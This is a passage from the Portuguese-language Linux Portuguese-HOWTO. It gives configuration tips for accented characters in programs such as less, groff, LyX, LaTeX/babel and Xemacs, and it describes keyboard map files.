Tudo que o programa faz é escolher aleatoriamente uma mensagem em um repositório mantido no diretório /usr/games/fortunes (Slackware) ou /usr/share/games/fortunes (Debian). Neste diretório existem diversos arquivos com as ``fortunas'' e um arquivo índice para cada um deles, que possui a extensão .dat. O formato dos arquivos é muito simples: cada fortuna é composta de uma série de linhas de texto. As fortunas são separadas umas das outras por linhas contendo apenas um caracter %. Veja o trecho a seguir:
    O que são quatro pontos na parede? Four migas. Ugh!
    %
    Errar é humano, botar a culpa no computador é mais humano ainda.
    %
    Aí ela me disse: Ou eu ou o modem! Sinto muitas saudades dela...
Tudo que temos a fazer é criar um arquivo com as fortunas chamado, digamos fortunes com o formato descrito acima. Depois basta usar o programa strfile para gerar o índice:
    strfile fortunes
e um arquivo chamado fortunes.dat será criado. Claro que se quisermos que o fortune mostre apenas mensagens em Português, teremos que remover os arquivos existentes no diretório original. Sugiro simplesmente renomeá-lo para fortunes-en (de English) e criar outro vazio. Eu coletei algumas fortunas e as coloquei no arquivo fortunes-pt.tar.gz que pode ser obtido via WWW na página do Portuguese HOWTO. Não esqueça de colocar no seu /etc/profile algumas linhas contendo uma chamada ao fortune, por exemplo
    if [ -x /usr/games/fortune -a ! -e $HOME/.hushlogin ]; then
       echo
       /usr/games/fortune
       echo
    fi
Uma última informação: se o nome de um arquivo termina com o sufixo -o o fortune só o consulta se for chamado com a opção -o. Esses arquivos são os que contém mensagens cujo conteúdo pode ser considerado ofensivo por algumas pessoas, tais como
    Só não mando a sogra pro inferno, com pena do Diabo.
Claro que existem coisas muito mais ofensivas por aí, mas este é um Linux HOWTO e não queremos realmente ofender ninguém, certo?

Ispell

Dicionários para o Português de Portugal podem ser obtidos via WWW na página do Projecto Natura em http://www.di.uminho.pt/~jj/pln/pln.html. Para o Brasil, há uma versão compilada pelo Ueda: http://www.ime.usp.br/~ueda/.

Eu gostaria de poder colocar maiores informações, mas ainda não tenho conhecimento suficiente sobre o Ispell e não posso ensinar o que não sei. Preciso de ajuda aqui.

JDK (inclui ICQJava)

Esta informação é baseada em uma mensagem da qual guardei o conteúdo mas não o remetente. Peço desculpas e espero que perdoe a falha. Não testei pessoalmente a informação e peço que me escrevam confirmando tanto a correção quanto, se possível, a identidade do autor.

O JDK utiliza fontes padrão que não suportam acentos. Isto quer dizer que letras com acentos são ignoradas e, geralmente, confundem o resto do texto. Resolver isto é extremamente fácil:

  • entre no diretório jdk1.1.5/lib (no meu caso, /jdk1.1.5/lib);
  • copie o arquivo font.properties.hu sobrescrevendo o font.properties atual (lembre-se de fazer backups!);
  • entre no jdk e divirta-se! Fazendo isto, seu ICQ e todos os aplicativos que usem o jdk estarão aptos a lerem acentos! (fácil, não?)

Joe

Invoque o joe com a opção -asis na linha de comando ou altere os arquivos de configuração para ativar tal opção. Na Slackware eles estão no diretório /usr/lib/joe. Tudo que se tem a fazer é remover o espaço em branco existente no início de cada linha. Outra alternativa é acrescentar a seguinte linha ao arquivo /etc/profile:

    alias joe='joe -asis'

Joe pode emular os editores Pico, emacs e WordStar. Um arquivo joerc está disponível via WWW na página do Portuguese HOWTO, contendo configurações que permitem usar as teclas Home e End para movimentar o cursor para o início e fim da linha.

Less

Coloque as seguintes linhas no seu arquivo /etc/profile:

    LESS="-MM -i"
    LESSCHARSET="latin1"
    LESSKEY="/etc/lesskey"
    LESSOPEN='|lesspipe.sh "%s"'
    export LESS LESSCHARSET LESSKEY LESSOPEN
LESSKEY informa o nome de um arquivo contendo uma tabela de seqüências de caracteres geradas por cada tecla e as ações a serem tomadas pelo less. Para criar o arquivo /etc/lesskey, crie primeiro o arquivo /etc/lesskey.in contendo as seguintes linhas:
    # Termianl ANSI (console do Linux, XTerm, etc)
    \e[1~       goto-line
    \e[4~       goto-end
    \e[5~       back-screen
    \e[6~       forw-screen
    \e[7~       goto-line
    \e[8~       goto-end
    \e[A        back-line
    \e[B        forw-line
    # XTerm
    \eOH        goto-line
    \eOF        goto-end
    \e[H        goto-line
    \e[F        goto-end
    # Console Sun (testado com teclados Type 4/5)
    \e[214z     goto-line
    \e[220z     goto-end
    \e[216z     back-screen
    \e[222z     forw-screen
    # Arquivo seguinte/anterior
    :n  next-file
    :N  next-file
    :p  prev-file
Depois ``compile-o'' usando o comando
    # lesskey -o /etc/lesskey /etc/lesskey.in
Crie o arquivo /usr/bin/lesspipe.sh contendo
    #!/bin/sh
    # This is a preprocessor for 'less'.  It is used when this environment
    # variable is set:   LESSOPEN="|lesspipe.sh %s"

    case "$1" in
      *.rpm) rpm -qilp "$1" 2>/dev/null ;;
      *.tar) tar tvvf "$1" 2>/dev/null ;;
      *.tgz | *.tar.gz | *.taz | *.tar.Z | *.tar.z)
        tar tzvvf "$1" 2>/dev/null ;;
      *.tbz2 | *.tar.bz2)
        bzip2 -dc "$1" | tar tvvf - 2>/dev/null ;;
      *.Z) gzip -dc "$1"  2>/dev/null ;;
      *.z) gzip -dc "$1"  2>/dev/null ;;
      *.[1-9].gz | *.n.gz | *.man.gz)
        FILE=`file -Lz "$1" | cut -d ' ' -f 2`
        if [ "$FILE" = "troff" ]; then
          gzip -dc "$1" | groff -s -p -t -e -Tlatin1 -mandoc
        fi ;;
      *.gz) gzip -dc "$1"  2>/dev/null ;;
      *.zip) unzip -l "$1" 2>/dev/null ;;
      *.[1-9] | *.n | *.man)
        FILE=`file -L "$1" | cut -d ' ' -f 2`
        if [ "$FILE" = "troff" ]; then
          groff -s -p -t -e -Tlatin1 -mandoc "$1"
        fi ;;
    esac
Não esqueça de torná-lo executável:
    chmod 755 /usr/bin/lesspipe.sh

Na distribuição Debian já existe um script /usr/bin/lesspipe (note a ausência da extensão .sh). Para os curiosos a respeito da referência a ``*.rpm'', embora na máquina em questão se use Slackware, é possível ter o utilitário RPM instalado também, o que facilita tomar ``emprestados'' pacotes do Red Hat, Caldera e S.u.S.E.. Existe um RPM+Slackware Mini-HOWTO que explica como fazer isso.

ls

Acrescente a seguinte linha ao arquivo /etc/profile :

    alias ls="ls -N"
ou
    alias ls="ls -b"
Se a sua distribuição de Linux usa o GNU ls (todas as que eu conheço usam) basta acrescentar ao arquivo /etc/profile ou .profile as seguintes linhas:
    # -----------------------------------------
    # Set up the color-ls environment variables
    # -----------------------------------------
    if [   "$SHELL" = "/bin/bash" -o \
           "$SHELL" = "/bin/sh" ]; then
       eval `dircolors -b`
    elif [ "$SHELL" = "/bin/zsh" ]; then
       eval `dircolors -z`
    elif [ "$SHELL" = "/bin/ash" ]; then
       eval `dircolors -s`
    elif [ "$SHELL" = "/bin/ksh" -o \
           "$SHELL" = "/bin/pdksh" ]; then
       eval `dircolors -k`
    elif [ "$SHELL" = "/bin/csh" -o \
           "$SHELL" = "/bin/tcsh" ]; then
       eval `dircolors -c`
    else
       eval `dircolors -b`
    fi
Se o seu shell é o csh ou tcsh, acrescente a seguinte linha ao arquivo /etc/csh.login ou ~/.login:
    alias ls 'ls --color'

LyX

Para aqueles que acham trabalhoso escrever documentos para o LaTeX usando um simples editor de texto (e realmente é) LyX é uma excelente opção. Este programa cria uma interface gráfica através da qual editamos os documentos que serão depois formatados pelo LaTeX. O ambiente é quase-WYSIWYG (What You See Is What You Get - O que tu vês é o que tu obténs). LyX não roda apenas em Linux, mas em qualquer Unix. Maiores informações podem ser obtidas em

http://www.lyx.org

A partir da versão 1.0.1 do LyX já tem a interface com o usuário em Português, traduzida por Pedro Kröger, que também está traduzindo os manuais, junto com Roberto Mello. Estas traduções já fazem parte da distribuição oficial do LyX.

Tendo o LyX instalado, é muito fácil criar documentos com acentuação em Português. Seguindo as seguintes regras:

  • Se o teclado foi configurado para ter dead keys usando um dos mapas aqui fornecidos, não é necessário fazer mais nada. Basta digitar o texto normalmente usando as seqüências de acentuação. A única exceção é o c-cedilha que não pode ser gerado usando a seqüência 'c, pois o LyX gera um c com acento. Temos que usar a seqüência Compose-vírgula-c.
  • Se o teclado não foi configurado para ter dead keys ainda assim é possível acentuar no LyX. Selecione o menu Options/Keyboard. Na caixa de diálogo ``Key Mappings'', selecione no ítem Language/Primary a opção ``American''. Com isto o LyX fará a composição dos caracteres acentuados usando regras semelhantes às das dead keys.
    • A vírgula será tratada como cedilha. Para obter um `Ç'digite ,C e para obter uma vírgula digite ,,. Cuidado! A seqüência ,<espaço> gerará uma cedilha isolada e não uma vírgula!
    • ~ ^ ' e ` serão tratados como acentos. Vale a mesma regra anterior: para obter apenas o acento, pressione a tecla duas vezes consecutivas.
    • : ; . / ? e - também serão tratados como acentos. ?a gerará um `å' e assim por diante.

Para o LyX imprimir corretamente, é necessário que, ao criar um novo documento, sejam selecionados a língua e a codificação de caracteres adequadas. Crie um documento selecionando o menu File/New. Depois selecione o menu Layout/Document. Na caixa de diálogo ``Document Layout'' selecione no ítem Language a opção ``brazil'' ou ``portuges'' (sem o u mesmo); no ítem Encoding selecione ``latin1''.

Veja a observação sobre o pacote algorithm na seção TeX e LaTeX

Uma observação final sobre o LyX: a versão atual (1.0.x) utiliza a biblioteca XForms para construir a interface com o usuário. Como essa biblioteca não tem suporte para acentuação, não é possível digitar letras acentuadas nas caixas de diálogo, somente no corpo do documento editado. Segundo os desenvolvedores, nas novas versões do LyX será possível escolher o tipo de interface ao compilar o programa, o que permitirá o uso de toolkits mais flexíveis. Já existe uma versão de LyX portada para o toolkit Qt, usado no KDE, chamada KLyX. Os autores são Matthias Ettrich -- autor original do LyX -- e Kalle Dalheimer. Para maiores informações, consulte via WWW: http://www-pu.informatik.uni-tuebingen.de/users/ettrich/.

Man, groff, troff

Pode-se usar a opção de linha de comando -Tlatin1 para o groff, mas é mais simples colocar uma linha no seu arquivo /etc/profile contendo

    GROFF_TYPESETTER="latin1"
    export GROFF_TYPESETTER
Para maiores informações leia o manual do groff com o comando
    man groff

No Linux, o comando man usa o groff para formatar os manuais e deve ser configurado para usar o conjunto Latin 1, ou não será possível formatar satisfatoriamente manuais que contenham caracteres não pertencentes ao conjunto ASCII, como é o caso do ``man iso_8859_1''. Na distribuição Slackware, é preciso editar o arquivo /usr/lib/man.config e alterar as definições NROFF e NEQN, trocando a opção ``-Tascii'' para ``-Tlatin1'':

    NROFF           /usr/bin/groff -Tlatin1 -mandoc
    NEQN            /usr/bin/geqn -Tlatin1
ou, se usarmos a variável de ambiente GROFF_TYPESETTER, podemos simplesmente eliminar a opção -Tascii. Na distribuição Debian não é necessário fazer nenhuma configuração para o man, bastando configurar GROFF_TYPESETTER e na Red Hat (incluindo Conectiva) o arquivo é /etc/man.config

Groff também pode ser configurado para fazer a separação silábica em português, o que é muito útil se tivermos páginas de manual em Português. Isto é bastante simples, porque quando James Clarck pôs suporte a hifenização no groff ele usou o mesmo algoritmo de hifenização do TeX. Para ter hifenização em português, basta copiar o arquivo de regras do TeX e fazer o groff usá-lo. O arquivo hyphen.pt pode ser obtido junto com os demais na página do HOWTO. Trata-se do arquivo pt8hyph.tex (ver seção TeX e LaTeX) ao qual foi adicionado apenas um comentário.

Ele deve ser copiado para o diretório /usr/share/groff/tmac/ ou /usr/lib/groff/tmac/, dependendo da distribuição. É conveniente criar um ``link'' simbólico para hyphen.br. Para usar esse arquivo, basta colocar no início do seu documento troff/groff as linhas a seguir:

    .if \n(.g \{\
    .hla pt
    .hpf hyphen.pt
    .\}
O .if não é necessário para a acentuação, mas ele testa se o processador usado é o groff. Deste modo pode-se usar o mesmo documento em outros UNIX nos quais se use o troff normal sem que ele gere mensagens de erro sobre comandos desconhecidos.

Midnight Comander (mc)

No menu Options sub-menu Display bits... ligue a opção ``Full 8 bits'' ou ``ISO 8859-1''. Na versão 3.2.11 isso permite que sejam mostrados nomes de arquivos contendo caracteres acentuados, mas não foi possível digitar tais caracteres na linha de comando ou nas caixas de diálogo.

Minicom

Coloque uma linha no seu arquivo /etc/profile contendo

    MINICOM="-m -c on"
    export MINICOM
Isso permitirá usar a tecla Alt para ativar os comandos (exatamente como o Telix) e também usar cores. Para maiores informações, leia o manual do Minicom usando o comando
    man minicom
Mais uma dica sobre o Minicom: para fazê-lo usar usar corretamante a tecla Meta para ativação dos comandos rodando dentro de um xterm, deve-se invocá-lo com a opção ``-m'' e passar a opção ``-xrm "*eightBitInput: false"'' para o xterm. Se usarmos o rxvt então o minicom deve ser chamado com a opção ``-m'' e a tecla de ativação dos comandos será Alt. Fiz uma adaptação no script xminicom que pode ser obtido via WWW na página do Portuguese HOWTO.

Segundo Arnaldo Carvalho de Melo, as versões mais recentes do Minicom suportam internacionalização. Suporte para o Português foi acrescentado pelo pessoal da Conectiva. O código fonte pode ser obtido na página do Jukka (atual mantenedor do Minicom) em

http://www.clinet.fi/~walker/minicom.html

Netscape Communicator

O Communicator, assim como muitas aplicações que utilizam toolkits baseados no X Toolkit (Xt), permite que se modifiquem muitas de suas características por meio de arquivos de configuração (X Resources). No caso específico do Communicator, pode-se criar um arquivo chamado Netscape no diretório /usr/X11R6/lib/X11/app-defaults contendo estas opções.

Na distribuição brasileira Conectiva, o pacote do Communicator vem com um arquivo /usr/lib/netscape/i18n/Netscape.ad.pt_BR e um script /usr/bin/netscape que executa o Communicator fazendo-o ler este arquivo. Uma cópia do Netscape.ad.pt_BR pode ser obtida na página oficial do Portuguese-HOWTO. Para usá-lo, simplesmente copie-o para /usr/X11R6/lib/X11/app-defaults/Netscape, se sua distribuição não o possuir, mas fique atento que seu uso pode criar problemas com novas versões do programa.

Maiores informações sobre ``X Resources'' podem ser obtidas em [GET94], [McC94] e no manual do programa xrdb, com o comando

    man xrdb

nn

Alô, alô, alguém usa nn? Informação mais atualizada será bem recebida.
Acrescente a seguinte linha ao arquivo ~/.nn/init:
    set data-bits 8

Pine e Pico

Para o Pine utilizar o conjunto de caracteres Latin 1, coloque uma linha no arquivo .pinerc, no diretório do usuário, contendo

    character-set=ISO-8859-1
ou crie um arquivo geral de configuração contendo tal linha. Esse arquivo normalmente é /usr/local/lib/pine.conf ou /usr/lib/pine.conf

A configuração também pode ser feita usando o próprio programa. No menu de entrada selecione as opções Setup/Configuration. Vá até o ítem ``character-set'' e preencha-o com ``ISO-8859-1''. Para maiores informações leia o manual do pine com o comando

    man pine

tcsh

Nenhuma medida especial é necessária se for feita a correta configuração das variáveis de ambiente ``LANG'' e ``LC_ALL'', conforme mostrado mostrado na seção Biblioteca libc.

Tcsh tem suporte a internacionalização e na distribuição Debian há um pacote chamado tcsh-i18n com suporte para French, German, Greek and Spanish.

TeX e LaTeX

Esta seção foi escrita com ajuda de Klaus Steding-Jessen.

O pacote Babel

O pacote Babel, criado por Johannes Braams provê suporte a um grande número de idiomas para o LaTeX. De acordo com o idioma selecionado ele define muitas coisa como, por exemplo, os títulos dos capítulos (Chapter, Capítulo, Kapitel) e o título das tabelas (Tabela, Table, Tabelle). Para usar o pacote, basta incluir no preâmbulo de seu documento LaTeX o comando

    \usepackage[portuges]{babel}

    ou

    \usepackage[brazil]{babel}

Há diferenças sutis entre o Portugues do Brasil e o de Portugal, tais como as normas para escrita de datas e nomes de meses com a primeira letra maiúscula ou minúscula.

Pode-se misturar mais de um idioma no mesmo documento. Para Alemão e Português ficaria:

    \usepackage[german,brazil]{babel}

Nesse caso a última opção (brazil) fica sendo o idioma corrente. Para mudar ao longo do texto, entre um e outro, use:

    \selectlanguage{german}

    [...]

    \selectlanguage{brazil}

Isto é muito útil também quando queremos que uma palavra não seja separada. Basta definir um novo idioma e usá-lo nas palavras que não podem ser separadas. Coloque no preâmbulo:

    \newlanguage\nohyphen
    \newcommand\nh[1]{{\language\nohyphen #1}}

E use com \nh{FOO BAR}. É melhor do que usar \mbox, que impede quebra no espaco em \mbox{FOO BAR}.

Separação silábica

Normalmente apenas os suportes a separação silábica para Inglês e Alemão são carregados. Para configurar hifenização no teTeX, execute o utilitário texconfig, que na distribuição Slackware deve ser o programa /usr/lib/teTeX/bin/texconfig e na Debian é /usr/bin/texconfig. Digite o comando

    texconfig hyphen

O editor usado normalmente é o vi. Se o seu editor predileto for outro, crie uma variável de ambiente chamada EDITOR contendo o nome desse programa, como no exemplo a seguir:

    EDITOR=pico
    export EDITOR

O editor de texto será carregado, para editar o arquivo language.dat. Procure uma linha que começa por %portuges e remova o %. Grave o arquivo e saia do editor. O texconfig atualizará diversos arquivos de configuração (não se assuste com a quantidade de mensagens que aparecem na tela).

Se o nome da tabela de hifenização que consta no seu language.dat é pthyph.tex então provavelmente trata-se da versão 1.0, de 1987. A versão 1.2, de 1996, pode ser obtida via FTP anônimo em

ftp://ftp.tex.ac.uk/tex-archive/language/portuguese/pt8hyph.tex
Copie-o para o mesmo diretório onde se encontra o pthyph.tex, que dependendo de sua distribuição pode ser /usr/lib/texmf/tex/generic/hyphen /usr/share/texmf/tex/generic/hyphen ou /usr/lib/teTeX/texmf/tex/generic/hyphen. Execute o comando texconfig~hash e na mesma linha mencionada anteriormente insira um `8' no nome do arquivo, de modo que fique pt8hyph.tex.

Uso de Font Encoding T1

Se o conjunto de caracteres (encoding) de uma fonte não provê acesso direto a caracteres acentuados, (como é o caso do OT1, padrão do LaTeX) então o TeX gera estes caracteres sobrepondo o caracter base mais o acento. O algoritmo de hifenização, contudo, não hifeniza palavras formadas dessa forma.

Se uma fonte já provê acesso direto a caracteres acentuados, como as de codificação T1, estes caracteres são usados diretamente sem prejuízo do algoritmo de hifenização. O uso de encoding T1 é fundamental para a correta hifenização em Português.

Note que trata-se da mesma fonte, por falta a Computer Modern, apenas o que muda é o seu encoding, isto é, a ordem/disponibilidade dos caracteres dentro da mesma. Para selecionar estas fontes, inclua no preâmbulo do seu documento o comando

    \usepackage[T1]{fontenc}

O antigo pacote t1enc não deve mais ser usado e existe hoje apenas por questões de compatibilidade com documentos antigos. O fontenc é mais atual, continua a ser mantido e é de uso mais geral, portanto preferível.

Edição de documentos

Normalmente a introdução de caracteres acentuados no texto exige o uso de seqüências de escape bastante trabalhosas. Para gerar um ``ö'' deve-se digitar \"o. Com babel pode-se digitar apenas "o, o que não deixa de ser inconveniente para ler o fonte do documento. Há um pacote chamado inputenc que permite especificar a codificação em que estão os caracteres de um documento. Lembre-se porém que se o seu documento for enviado para outro usuário que não possua o inputenc ele poderá não conseguir processá-lo, mas esse recurso já está disponível desde a liberação do LaTeX2e em dezembro 1994. Todas as distribuições de Linux atuais o incluem.

Sugestão: uma configuração do GNU Emacs para gerar caracteres acentuados, própria para o uso com o pacote inputenc:

    (add-hook 'LaTeX-mode-hook
              (lambda ()
                (standard-display-european 1)
                (load-library "iso-acc")
                (iso-accents-mode 1)
                (iso-accents-customize "portuguese")
                (auto-fill-mode 1)
                ))

E outra que não requer o inputenc. O uso da biblioteca `iso-cvt' faz a transformação de ISO-8859-1 (no buffer do Emacs) para o padrão do LaTeX (no arquivo).

    (add-hook 'LaTeX-mode-hook
              (lambda ()
                (standard-display-european 1)
                (load-library "iso-cvt")
                (load-library "iso-acc")
                (iso-accents-mode 1)
                (iso-accents-customize "portuguese")
                (auto-fill-mode 1)
                ))

Muitas vezes o usuario já possui muitos arquivos num formato de acento do LaTeX e gostaria de passar tudo para o formato ISO, próprio para uso do pacote inputenc. Uma boa opção para isto é usar o programa recode. Se você possui arquivos .tex e deseja converte-lo para formato ISO-8859-1 pode usar:

    recode -d LaTeX:l1 file.tex

O código-fonte do GNU recode pode ser obtido via FTP anônimo em ftp://prep.ai.mit.edu/pub/gnu/recode/recode-3.4.tar.gz e em muitos espelhos do GNU mundo afora. A distribuição Debian tem um pacote pronto e outras também devem ter.

Teste da configuração do LaTeX

Para testar a nova configuração copie o seguinte trecho para um arquivo chamado, digamos, exemplo.tex:

    \documentclass[a4paper]{article}
    \usepackage[latin1]{inputenc}
    \usepackage[T1]{fontenc}
    \usepackage[portuges]{babel}
    %%
    %% ou \usepackage[brazil]{babel}
    %%

    \begin{document}
    \title{Linux Portuguese-HOWTO}
    \author{Carlos Augusto Moreira dos Santos}
    \date{\today}

    \maketitle

    \section{Introdução}

    Este documento pretende ser um guia de referência de configuração
    do \textbf{Linux} e seus programas, teclados e fontes de
    caracteres, permitindo sua internacionalização/utilização confortável
    por pessoas que falem a Língua Portuguesa.

    \end{document}

Esse texto contém de propósito uma ``palavra'' bastante longa para forçar a separação silábica. Ele está disponível via WWW no arquivo exemplo.tex na página do Portuguese HOWTO. Para processá-lo, use o comando latex, conforme mostrado a seguir:

    bash$ latex exemplo.tex
    This is TeX, Version 3.14159 (C version 6.1)
    (exemplo.tex
    LaTeX2e <1996/06/01>
    Hyphenation patterns for english, german, portuges, loaded.
    (/usr/lib/teTeX/texmf/tex/latex/base/article.cls
    Document Class: article 1996/05/26 v1.3r Standard LaTeX document class
    (/usr/lib/teTeX/texmf/tex/latex/base/size10.clo))
    (/usr/lib/teTeX/texmf/tex/latex/base/inputenc.sty beta test version
    (/usr/lib/teTeX/texmf/tex/latex/base/latin1.def))
    (/usr/lib/teTeX/texmf/tex/latex/base/fontenc.sty
    (/usr/lib/teTeX/texmf/tex/latex/base/T1enc.def))
    (/usr/lib/teTeX/texmf/tex/generic/babel/babel.sty (portuges.ldf
    (/usr/lib/teTeX/texmf/tex/generic/babel/babel.def))) (exemplo.aux) [1]
    (exemplo.aux) )
    (see the transcript file for additional information)
    Output written on exemplo.dvi (1 page, 812 bytes).
    Transcript written on exemplo.log.
A mensagem ``Hyphenation patterns for english, german, portuges, loaded.'' indica que a configuração foi bem sucedida. Se o seu computador está rodando o X o documento formatado poderá ser visto com o comando
    xdvi exemplo.dvi

Observe que o ``\today'' gera a data corrente. No ``portugues'' seria ``17 de Julho de 1998'' mas no ``brazil'' seria ``17 de julho de 1998''.

Problemas com alguns pacotes do teTeX

Há um problema com o pacote algorithm do LaTeX, que não é suportado pelo babel, fazendo com que a lista de algoritmos saia com o título ``List of Algorithms'' e o título de cada um deles seja impresso como ``Algorithm #''. Para evitar esse problema, coloque no preâmbulo de seu documento LaTeX, após o comando ``\usepackage{algorithm}'' o seguinte:

    \makeatletter
    \renewcommand{\ALG@name}}{Algoritmo}}
    \makeatother
    \renewcommand{\listalgorithmname}}{Lista de Algoritmos}}

No teTeX 0.4 (versão 1.2h do portuges.ldf) o título do ambiente proof, encontrado nas classes amsbook, amsart, etc., sai como ``Proof.''. Para corrigir isso, coloque no preâmbulo de seu documento o comando

    \renewcommand{\proofname}}{Demonstra\c{c}\~ao}

mas o mais recomendável é que se atualize a versão do teTeX.

Usuários do LyX podem incluir esses comandos no preâmbulo do documento usando o menu Layout/LaTeX Preamble. Pode-se resolver o problema alterando o arquivo portuges.ldf que contém as definições necessárias ao Português, mas esta solução não é portável, pois exigirá que tal arquivo seja alterado em todas os computadores em que o documento deva ser processado.

A licença do Babel não me permite distribuir o portuges.ldf separado do resto do pacote, mas para os interessados, coloquei à disposição na página do HOWTO um arquivo chamado portuges.ldf.patch que criei para o meu teTeX antigo (Slackware 3.4). Para aplicar a atualização, copie-o para o diretório /usr/lib/teTeX/texmf/tex/generic/babel (Slackware), faça uma cópia de reserva do portuges.ldf original e invoque o utilitário patch:

    cp -p portuges.ldf portuges.ldf.backup
    patch < portuges.ldf.patch

Use o patch por sua conta e risco! Se você deixar o backup no diretório original ele será incluído no arquivo ls-R da próxima vez que o programa texhash for executado. Isso não fará mal algum, mas pode-se mover o backup para algum lugar seguro (eu uso /usr/backup).

Lista TeX-BR

Há uma lista de discussão brasileira de usuários de TeX/LaTeX, chamada TeX-BR, que roda no servidor de listas da FURG. Para entrar da lista mande um mail contendo apenas a palavra ``subscribe'' no corpo para < tex-br-request@listas.furg.br>. Esta lista é administrada por Rafael Rodrigues Obelheiro.

Há uma página na WWW em http://biquinho.furg.br/tex-br/ por meio da qual se pode ler o histórico de mensagens. Também há referências para muitos documentos sobre LaTeX, alguns em Português e outros em Inglês.

LaTeX-demo

Pode ser útil também um documento de exemplo para ter onde começar. Pensando nisso, Klaus Steding-Jessen preparou um pequeno documento em Português com o objetivo de ser um guia ``by example'' para o usuário de LaTeX iniciante e intermediário, que pode ser obtido via WWW em http://biquinho.furg.br/doc/LaTeX-demo/.

Klaus ecreveu também uma série três artigos destinados a ``descrever o sistema LaTeX como uma alternativa mais eficiente aos processadores de texto WYSIWYG'' que podem ser lidos via WWW em http://biquinho.furg.br/tex-br/doc/artigo-1-jessen/.

WordPerfect

O Corel Wordperfect para Linux versão 8 suporta a acentuação por teclas mortas. Não é necessário nenhum procedimento especial. Como um entusiasta de software livre, entretanto, recomendo enfaticamente que se use o LyX, que já foi inclusive traduzido para nossa língua, conforme mencionado na seção LyX.

Xemacs (antigo lucid emacs)

Agradeço a colaboração de Judson Santos Santiago e Goedson Teixeira Paixão que ajudaram a identificar os problemas com o Xemacs.

O Xemacs já tem suporte à acentuação direta no teclado usando ``dead keys'', mas há um erro na configuração original que o impede de reconhecer o acento circunflexo. Este problema não ocorre se for usada a biblioteca Xlib aterada por Thomas Quinot, mencionada na seção Contornando os limites do X, mas mesmo que não a usemos, basta colocar os seguintes comandos no seu arquivo de configuração .emacs:

    ;; Ajuste para fazer o acento circunflexo funcionar
    ;; Contribuição de Goedson Teixeira Paixao <gopaixao@dcc.ufmg.br>
    (require 'x-compose)
    (define-key global-map 'dead-circumflex compose-circumflex-map)

Na distribuição Debian 2.0 o Xemacs 20.4 executa todos os scripts contidos no diretório /etc/xemacs20/site-start.d ao ser carregado. Tudo que se tem a fazer é colocar esses comandos em um arquivo chamado, por exemplo, 01portugues-xemacs.el. Não é necessário instalar o xemacs20-mule, que possui extensões para línguas que não usam o alfabeto romano. Os pacotes a instalar são os seguintes:

  • xemacs20-bin
  • xemacs20-nomule
  • xemacs20-support
  • xemacs20-supportel

Se você instalou o Xemacs no Slackware ou outro Unix, à moda antiga (dowload, compilação, instação), então o arquivo a alterar é o site-start.el, que deve estar no diretório /usr/lib/xemacs/site-lisp ou /usr/local/lib/xemacs/site-lisp, dependendo de sua instalação.

Observe que a partir da versão 20.3 o Xemacs usa uma variável especial para controlar o comportamento da tecla ``Delete'', não existente nos outros emacs chamada delete-key-deletes-forward. Para ativar este comportamento coloque no seu arquivo .emacs uma linha contendo

    (setq delete-key-deletes-forward t)

Arquivos de configuração prontos podem ser obtidos via WWW na página do Portuguese HOWTO. Para Slackware, há um site-start-xemacs.el, que deve ser copiado para o diretório correto com o nome de site-start.el. Para Debian, há um 01portugues-xemacs.el que deve ser copiado para o diretório /etc/xemacs20/site-start.d.

Certifique-se de estar usando a versão 24-out-1998 ou mais recente do arquivo de mapa de teclado para o X, pois ela possui uma correção no tratamento das teclas modificadoras Alt e Meta, que são muito usadas pelo Xemacs.

6.2 Rede local e Internet

FTP (File Transfer Protocol)

Existem dois modos de transferência de arquivos: binary e ASCII, sendo este utilizado para textos. Deve-se tomar cuidado ao transferir um arquivo, pois o modo de transfêrencia ASCII remove o oitavo bit de cada caracter transmitido, o que terá como conseqüência a perda de todos os caracteres acentuados. Desta forma é aconselhado o envio de documentação em modo binary de forma a manter a integridade da mesma.

Cuidado! Algumas versões mais antigas do pacote net-tools do Linux têm um cliente FTP que não reconhece corretamente quando o servidor remoto roda Unix. Deste modo ele não comutará o modo de transferência para binário automaticamente. Além disso, alguns servidores FTP também não fornecem a informação corretamente. Certifique-se de digitar o comando bin antes de um get quando quiser que a transferência seja binária!

Correio eletrônico

O mesmo tipo de restrições do FTP se aplica ao envio de documentos contendo caracteres acentuados através de correio eletrônico. Embora isto não aconteça em todos os sistemas em uso na internet, bastará que o correio enviado passe no seu trajecto por um sistema que não suporte 8 bits de informação para que o nosso documento seja deturpado.

Para que não hajam problemas, deve-se utilizar um programa de emeil, que suporte o formato MIME (Multipurpose Internet Mail Extensions), formato este que permite o envio de documentação em modo 8 bits. Exemplos de programas de correio eletrônico com suporte para MIME, são o Eudora e o Pine.

Se o destinatário da mensagem não usa um agente com suporte para MIME, existe a opção de codificar os documentos com o utilitário UUENCODE. Para maiores informações a esse respeito, leia a documentação usando os comandos

    man uuencode
    man uudecode


Linux Portuguese-HOWTO: Ficheiros necessários

 Next Previous Contents

7. Ficheiros necessários

Atenção! Os mapas de teclado para o X fornecidos mapeiam a função das teclas segundo a lista a seguir:

  • Alt esquerdo: Alt
  • Alt direito: AltGr
  • Control esquerdo: Control
  • Control direito: Control
  • ScrollLock: ScrollLock
  • Janela esquerda: Meta
  • Janela direita: Compose
  • Menu: Menu

Se o seu teclado não possuir as teclas para Windows 95 então pode ser melhor restabelecer a distribuição padrão: edite o mapa e coloque um ponto de exclamação no início das linhas que definem os keycodes 64, 113, 115, 116 e 117.

Foram elaborados mapas com suporte à acentuação para seis modelos de teclado, tanto para uso no console quanto para o X. Eles podem ser obtidos via WWW em um dos repositórios da página do Portuguese HOWTO:

  • http://linusp.usp.br/~casantos/

Ao instalar um dos mapas fornecidos, lembre-se de ler os comentários contidos neles, pois há informações importantes sobre opções de configuração e aproveitamento das teclas adicionais dos teclados padrão Windows 95. As instruções para instalação estão nas seções Configuração do console e Configuração do X.

O mapa US+ (us+.map e Xmodmap.us+)

Mapas para os teclados que seguem o padrão americano. Como não existem teclas especiais para gerar o c-cedilhado nem o trema, foi usado um pequeno truque: o c-cedilhado é gerado pela seqüência 'C. No console pode-se fazê-lo com a seqüência AltGR-C. O trema é gerado pela tecla ". Para gerar as aspas duplas é necessário digitar a seqüência "<espaço> e no console pode-se usar ""; opcionalmente pode-se usar AltGR-", o que não é uma solução muito confortável, mas funciona...

Testados com teclados de várias marcas (e alguns sem marca :-).

O mapa Portugal (pt.map e Xmodmap.pt)

Mapas para teclados com desenho português. Esses teclados são os que possuem uma tecla com os caracteres « e ». Não são muito confortáveis, porque para gerar o símbolos @ [ ] { } e o trema é necessário usar a tecla Alt-GR.

Testado com um teclado da marca Key Tronic.

O mapa ABNT-2 (abnt-2.map e Xmodmap.abnt2)

